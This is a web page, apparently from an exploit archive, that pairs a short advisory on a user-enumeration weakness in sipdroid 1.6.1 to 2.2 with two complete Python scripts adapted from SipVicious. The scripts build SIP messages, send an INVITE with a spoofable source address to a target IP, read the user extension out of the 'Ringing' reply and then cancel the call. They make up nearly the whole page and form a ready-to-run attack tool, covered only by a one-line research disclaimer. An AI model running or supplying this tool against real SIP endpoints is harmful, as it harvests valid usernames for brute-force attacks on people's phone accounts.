扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 |
source: https://www.securityfocus.com/bid/47710/info sipdroid is prone to a user-enumeration weakness. An attacker may leverage this issue to harvest valid usernames, which may aid in brute-force attacks. sipdroid 1.6.1, 2.0.1, and 2.2 running on Android 2.1 are vulnerable; other versions may also be affected. #!/usr/bin/env python # Adapted from SipVicious by Anibal Aguiar - anibal.aguiar *SPAM* tempest.com.br # # This code is only for security researches/teaching purposes,use at your own risk! import sys import random def printmsg(msg, color): OKGREEN = '\033[92m' OKBLUE = '\033[96m' ENDC = '\033[0m' WARN = '\033[91m' if color is "Blue": return OKBLUE + msg + ENDC elif color is "Green": return OKGREEN + msg + ENDC elif color is "WARNING": return WARN + msg + ENDC def makeRequest(method,dspname,toaddr, dsthost,port,callid,srchost='', branchunique=None,localtag=None, extension=None,body='',useragent=None, cseq=1,auth=None,contact='<sip:123@1.1.1.1>', accept='application/sdp',contentlength=None, localport=5060,contenttype=None): if extension is None: uri = 'sip:%s' % dsthost else: uri = 'sip:%s@%s' % (extension,dsthost) if branchunique is None: branchunique = '%s' % random.getrandbits(32) headers = dict() finalheaders = dict() superheaders = dict() superheaders['Via'] = 'SIP/2.0/UDP %s:%s;branch=z9hG4bK%s;rport' % (srchost,localport,branchunique) headers['Max-Forwards'] = 70 headers['To'] = uri headers['From'] = "\"%s\"" % dspname if useragent is None: headers['User-Agent'] = 'friendly-scanner' headers['From'] += ';tag=as%s' % localtag headers['Call-ID'] = "%s@%s" % (callid,srchost) if contact is not None: headers['Contact'] = contact headers['CSeq'] = '%s %s' % (cseq,method) headers['Max-Forwards'] = 70 headers['Accept'] = accept if contentlength is None: headers['Content-Length'] = len(body) else: headers['Content-Length'] = contentlength if contenttype is None and len(body) > 0: contenttype = 'application/sdp' if contenttype is not None: headers['Content-Type'] = contenttype r = '%s %s SIP/2.0\r\n' % (method,uri) for h in superheaders.iteritems(): r += '%s: %s\r\n' % h for h in headers.iteritems(): r += '%s: %s\r\n' % h for h in finalheaders.iteritems(): r += '%s: %s\r\n' % h r += '\r\n' r += body return r, branchunique ----[SIPDroid-Extension_Enum.py]---------------------------------------------------------------------------------------- #!/usr/bin/env python # -*- coding: utf-8 -*- # Author: Anibal Aguiar - anibal.aguiar *SPAM* tempest.com.br # # Dependences: # # optparse - The optparse library can be installed using the linux repository # of your distro. # # myHelper -- myHelper.py should be placed at the same diretory of SIPDroid-Extension_Enum.py # # This software is based on some functions of sipvicious-0.2.6. # # This code is only for security researches/teaching purposes,use at your own risk! # import sys import random import re from optparse import OptionParser from socket import * from myhelper import * parse = OptionParser() parse.add_option("-i", "--ip", dest="ip", help="Target IP range (CIDR or unique IP). (MANDATORY)") parse.add_option("-s", "--source", dest="source", help="Source IP number. (MANDATORY)") parse.add_option("-f", "--srcfake", dest="srcfake", help="Source IP number (fake).") parse.add_option("-p", "--dstport", dest="dstport", default=5060, help="Destine port number (MAMDATORY due to SIPDroid Random port). (default 5060)") parse.add_option("-e", "--extension", dest="exten", default=None, help="Destine extension. (default None)") parse.add_option("-t", "--tag", dest="tag", default=None, help="Call TAG. (default random)") parse.add_option("-v", "--verbose", action="store_true", dest="debug", default="False", help="Verbose mode - print pakets sent and received. (default False)") (options, arg) = parse.parse_args() if not options.exten: extension = "SIPDROID" else: extension = options.exten if not options.srcfake: srcfake = '1.1.1.1' else: srcfake = options.srcfake dstport = int(options.dstport) if not options.ip or not options.source: print printmsg("Sintaxe erro. Try %s --help" % sys.argv[0], "WARNING") sys.exit(1) else: dsthost = options.ip fromhost = options.source if options.tag is None: tag = random.getrandbits(22) else: tag = options.tag buf = 1024 addr = (dsthost,dstport) cid='%s' % str(random.getrandbits(32)) branch=None srcaddr = (fromhost,5062) # Create socket UDPSock = socket(AF_INET,SOCK_DGRAM) # Binding on 5060 UDPSock.bind(srcaddr) # Send messages method = "INVITE" (header,branch) = makeRequest(method,extension,dsthost,dsthost,dstport,cid,srcfake,branch,tag) if(UDPSock.sendto(header, addr)): sent = True if options.debug is True: print printmsg("Data Sent:", "WARNING") print header print printmsg("INVITE sent to %s!\n" % dsthost, "Green") else: sent = False # Receive messages while sent: try: UDPSock.settimeout(4) data,bindaddr = UDPSock.recvfrom(buf) if options.debug is True: print printmsg("Data Received:", "WARNING") print data if re.search('SIP/2.0 180 Ringing', data): packet = data.split('\n') for packetline in packet: for origin in re.finditer('o\=[a-zA-Z0-9\-]+\@[a-zA-Z0-9.\-]+', packetline): print printmsg("o=<extension>@<server>: %s\n" % origin.group(0), "Blue") method = 'CANCEL' (header, branch) = makeRequest(method,extension,dsthost,dsthost,dstport,cid,srcfake,branch,tag) if options.debug is True: print printmsg("Data Sent:", "WARNING") print header UDPSock.sendto(header, addr) sent = False except Exception as excpt: print excpt print printmsg("OPS... Timeout on receving data or something wrong with socket... take a look at dest. port number too (-p option).", "WARNING") sent = False # Close socket UDPSock.close() |
体验盒子
